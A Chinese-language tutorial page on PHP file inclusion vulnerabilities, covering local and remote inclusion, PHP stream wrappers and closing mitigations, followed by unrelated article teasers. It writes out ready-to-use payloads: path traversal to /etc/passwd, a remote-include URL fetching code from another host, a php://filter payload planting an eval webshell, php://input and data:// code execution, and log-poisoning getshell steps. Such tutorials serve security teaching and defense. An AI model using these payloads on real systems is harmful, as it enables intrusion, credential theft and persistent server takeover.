网安文件包含漏洞

文件包含概念:

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含:

文件包含的原理:文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致  任意文件读取与任意命令执行。

文件包含分类:

文件包含分为两种:

本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径

远程文件包含:包含互联网上的文件,文件名称为URL格式

而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。

与文件包含相关的配置文件:(php.ini文件)

allow_url_fopen = on    (默认开启)   #允许打开URL文件

allow_url_include = on  (默认关闭)   #允许引用URL文件

与文件包含有关的函数:

include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行

include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行

require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

文件包含特征:

?page=a.php

?home=b.html

?file=content

检测方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://192.168.189.78/1.txt

http://1.1.1.1/../../../../dir/file.txt

本地文件包含:

1.php扩展名为: jpg、rar、txtxxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)

此外include.php文件,还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php

<?php echo "666";?>打印666,通过浏览器进行访问

本地文件包含利用:

1,读取Windows系统敏感信息:

C:\boot.ini //查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件

C:\windows\repair\sam //windows初次安装的密码

C:\program Files\mysq|\my.ini //Mysq|配置信息

C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root

C:\windows\php.ini //php配置信息

2,读取linux系统敏感信息:

/etc/passwd //linux用户信息

/usr/local/app/apache2/conf/httpd.conf //apache2配置文件

/usr/local/app/php5/lib/php.ini //php配置文件

/etc/httpd/conf/httpd.conf //apache配置文件

/etc/my.cnf //Mysq|配置文件

本地文件包含——常用文件路径:

apache+Linux 日志默认路径                                                                             apache+linux 默认配置文件

/etc/httpd/logs/access.log/var/log/httpd/access.log  /etc/httpd/conf/httpd.conf

  /etc/init.d/httpd

apache+win2003 日志默认路径

D:\xampp\apache\logs\access.logD:\xampp\apache\logs\error.log  IIS6.0+win2003 配置文件

  C:/Windows/system32/inetsrv/metabase.xml

IIS6.0+win2003 默认日志文件

C:\WINDOWS\system32\Lognames  IIS7.0+WIN 配置文件

  C:\Windows\System32\inetsrv\config\applicationHost.config

IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\Lognames                                                                                        ./:当前路径

  ../:上级目录

nginx 日志文件  /:根目录

/usr/local/nginx/logs  ~/linux用户主目录

远程文件包含:

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt

 1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。

什么是伪协议:

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists() filesize() 文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register()来注册自定义的封装协议。

文件包含伪协议:

file://         可以用于访问本地文件系统,不受allow_url_fopenallow_ulr_include影响

使用方法 file://绝对路径

实例:file://C:\Windows\System32\drivers\etc\hosts                   #必须为绝对路径

        

php流filter

?page= php://filter/read=convert.base64-encode/resource=1.php

通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

②php://               访问各个输入/输出流,不受allow_url_fopenallow_url_include影响

php://filter参数  读取文件

resoure=<要过滤的数据流>     必须参数,指定筛选过滤的数据流

read=<读链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

<;两个链的筛选列表>                任何没有以read=write=作前缀的筛选器列表会视情况应用于读或写链

实例:

php://filter/read=convert.base64-encode/resource=cmd.php   //查看php代码需要使用转换过滤转换代码,不然无法查看代码

实例:

filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=

打开文件时将输入流字符串进行baes64解码,并写入文件中,通过改方法,可以绕过一些安全监测,写入一句话

测试脚本                                          运行结果

 

 

 

php://input  可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行,需开启allow_url_include

利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)

127.0.0.1/upload/include.php/?page=php://input

<?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>

data://                        读取数据流且执行,PHP5.2.0起有效,all_url_fopenallow_url_inclued需要都开启才能使用

用法 data://text/plain;base64,<执行代码的base64编码>  |   data://text/plain,<执行的代码>

 

命令执行

http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?>

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码)

zip:// 、 bzip2:// 、 zlib://  均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,不受all_url_fopenallow_url_inclued影响

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]  

                                           

 bzip2使用方法:compress.bzip2://[文件绝对路径|文件相对路径]

zlib使用方法:compress.zlib://[文件绝对路径|文件相对路径]

phar使用方法:phar://[文件绝对路径|文件相对路径]/[子文件名称]

包含日志文件getshell:

利用条件:知道日志的物理存放路径、存在文件包含漏洞、使用burp发送请求,或者curl工具(网页请求会对特殊字符编码)

①构造url,访问web服务 ————目的是,构成错误请求,apache就会将错误的请求写入,错误日志当中 error.log

 

②使用存在文件包含的php访问,进行包含错误日志

 

③写入webshell构造url进行访问

 

文件包含和文件上传的利用:

如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。那么我们可以进行更深层次的利用。刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合

制作一个图片木马,通过文件上传漏洞上传通过文件包含漏洞对该图片木马进行"包含" 获取执行结果

各协议的利用条件和方法:

本地文件包含-防御:

(1)allow_url_include和allow_url_fopen关闭;

(2)对用户包含的文件进行限制,如白名单、open_basedir;

(3)检查用户输入;

(4)检查变量是否初始化;

(5)关键的过滤在服务器端进行;

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/657925.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Flink CEP实现10秒内连续登录失败用户分析

1、什么是CEP&#xff1f; Flink CEP即 Flink Complex Event Processing&#xff0c;是基于DataStream流式数据提供的一套复杂事件处理编程模型。你可以把他理解为基于无界流的一套正则匹配模型&#xff0c;即对于无界流中的各种数据(称为事件)&#xff0c;提供一种组合匹配的…

Keepalived + DR 集群

目录 1、Keepalive VRRP 说明 故障切换 工作原理 核心组件 2、Keepalived DR 集群 拓扑规划 前期准备 配置 Httpd 服务 配置 Nginx 服务 配置 LVS 主 node_01 配置 LVS 从 node_02 测试 LVS 集群 测试主备切换 3、Keepalived 脑裂现象 4、Keepalived 心态检测 …

平安健康与中航健康时尚集团携手并进,共创会员制健康管理美好未来

近日&#xff0c;深圳市中航健康时尚集团股份有限公司(以下简称“中航健康时尚”)与平安健康正式达成战略合作。平安健康总裁吴军、中航健康时尚董事长王岚等领导出席签约仪式&#xff0c;就此次战略合作展开深入交流。 据了解&#xff0c;中航健康时尚集团创建于1995年&#x…

内存泄漏的原因及排查方法

&#x1f9d1;‍&#x1f393; 个人主页&#xff1a;《爱蹦跶的大A阿》 &#x1f525;当前正在更新专栏&#xff1a;《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 随着网页应用的逐渐复杂化,内存管理也变得越来越重要。内存泄漏不仅会…

YUDIAN(宇电)温控器参数笔记(二)

没想到啊&#xff0c;时隔3年&#xff0c;我又用到了这个温控器&#xff0c;又来更新一下&#xff0c;因为我刚好要做一个简易的控温系统&#xff0c;类似于恒温水槽。 这个系统大概就是&#xff1a; 温控器用pt100测温&#xff0c;作为输入&#xff0c;输入连接到一个ssr上&a…

Start gtkmm 4 Programming (range controls)_

文章目录 基础解析 Chapter 7. Range Widgets https://gtkmm.org/en/documentation.htmlhttps://gnome.pages.gitlab.gnome.org/gtkmm-documentation/index.html 基础 容器: 容器小部件与其他小部件一样&#xff0c;派生自Gtk::Widget.例如Gtk::Grid可以容纳许多子小部件&…

vue3教程,如何手动获取后端数据(入门到精通3,新人必学篇)

概述&#xff1a;没有后端数据的前端&#xff0c;就失去了灵魂&#xff0c;由于本人没有写后端数据&#xff0c;所有调用黑马的&#xff0c;往下看相信对你会有收获的。 目录 第一步&#xff1a;安装axios 第二步&#xff1a;编写后端访问地址 第三步&#xff1a;编写具体的…

如何更新github上fork的项目(需要一定git基础)

如何更新Fork的项目(需要一定git基础) 前言&#xff1a;本文记录一下自己在github上fork了大佬的开源博客项目https://github.com/tangly1024/NotionNext&#xff0c;如何使用git克隆以及自定义开发和同步合并原项目更新迭代内容的的步骤 如何更新fork的项目(进阶版) 首先你…

解决:ModuleNotFoundError: No module named ‘selenium’

解决&#xff1a;ModuleNotFoundError: No module named ‘selenium’ 文章目录 解决&#xff1a;ModuleNotFoundError: No module named selenium背景报错问题报错翻译报错位置代码报错原因解决方法方法一&#xff0c;直接安装方法二&#xff0c;手动下载安装方法三&#xff0…

数字图像处理(实践篇)三十七 OpenCV-Python 使用SIFT和BFmatcher对两个输入图像的关键点进行匹配实践

目录 一 涉及的函数 二 实践 三 报错处理 使用SIFT(尺度不变特征变换)算法

幻兽帕鲁服务器Palworld游戏怎么更新?

自建幻兽帕鲁服务器进入Palworld游戏提示“您正尝试加入的比赛正在运行不兼容的游戏版本&#xff0c;请尝试升级游戏版本”什么原因&#xff1f;这是由于你的客户端和幻兽帕鲁服务器版本不匹配&#xff0c;如何解决&#xff1f;更新幻兽帕鲁服务器即可解决。阿里云百科aliyunba…

git操作之本地代码修改后想回退成当前最新版本

这张图很关键&#xff0c;取自https://www.cnblogs.com/cblx/p/12467083.html 我们的vscode就是workspace&#xff0c;我们提交代码需要三步&#xff0c;add&#xff0c;commit&#xff0c;push&#xff0c;其中我们想拉取代码有两种方式&#xff0c;git pull或者git fetch/cl…

《【Python】如何设置现代 Python 日志记录 | Python 基础教程 | Python 冷知识 | 十分钟高手系列》学习笔记

《【Python】如何设置现代 Python 日志记录 | Python 基础》 2 PUT ALL HANDLERS/FILTERS ON THE ROOT&#xff1a;扁平化的设计有助于简化维护成本 5 STORE CONFIG IN JSON OR YAML FILE&#xff1a;使用配置文件可以将配置和代码解耦&#xff0c;减少代码量 日志设置示例 7 …

ubuntu 22安装配置并好安全加固后,普通用户一直登录不上

现象 ubuntu 22安装配置并好安全加固后&#xff0c;普通用户一直登录不上 排查报错 查看日志/var/log/auth.log发现报错 Jan 30 15:49:57 aiv-O-E-M sshd[62570]: PAM unable to dlopen(pam_tally2.so): /lib/security/pam_tally2.so: cannot open shared object file: No …

管理的四种风格

前言 管理的四种风格,一般的领导大概就是这几种管理模式,告知,辅导,参与,授权,还有就是乱搞式(神经病模式)。 一、告知式 告知式是指组织通过正式、明确的渠道,将信息传达给员工。这种方式通常用于传递基本的规章制度、工作流程、政策文件等。告知式的作用在于确保员…

体验 AutoGen Studio - 微软推出的友好多智能体协作框架

体验 AutoGen Studio - 微软推出的友好多智能体协作框架 - 知乎 最近分别体验了CrewAI、MetaGPT v0.6、Autogen Studio&#xff0c;了解了AI Agent 相关的知识。 它们的区别 可能有人要问&#xff1a;AutoGen我知道&#xff0c;那Autogen Studio是什么&#xff1f; https://g…

pandas绘制饼图:百分比、定制标签、关闭图例、支持中文

matplotlib绘制饼图 import matplotlib.pyplot as pltplt.rc(font, family=SimHei, size=13) size = [25, 15

C++_list

目录 一、模拟实现list 1、list的基本结构 2、迭代器封装 2.1 正向迭代器 2.2 反向迭代器 3、指定位置插入 4、指定位置删除 5、结语 前言&#xff1a; list是STL(标准模板库)中的八大容器之一&#xff0c;而STL属于C标准库的一部分&#xff0c;因此在C中可以直接使用…

npm 淘宝镜像正式到期

由于node安装插件是从国外服务器下载&#xff0c;如果没有“特殊手法”&#xff0c;就可能会遇到下载速度慢、或其它异常问题。 所以如果npm的服务器在中国就好了&#xff0c;于是我们乐于分享的淘宝团队干了这事。你可以用此只读的淘宝服务代替官方版本&#xff0c;且同步频率…

AsyncLocal是如何实现在Thread直接传值的?

一&#xff1a;背景 1. 讲故事 这个问题的由来是在.NET高级调试训练营第十期分享ThreadStatic底层玩法的时候&#xff0c;有朋友提出了AsyncLocal是如何实现的&#xff0c;虽然做了口头上的表述&#xff0c;但总还是会不具体&#xff0c;所以觉得有必要用文字图表的方式来系统…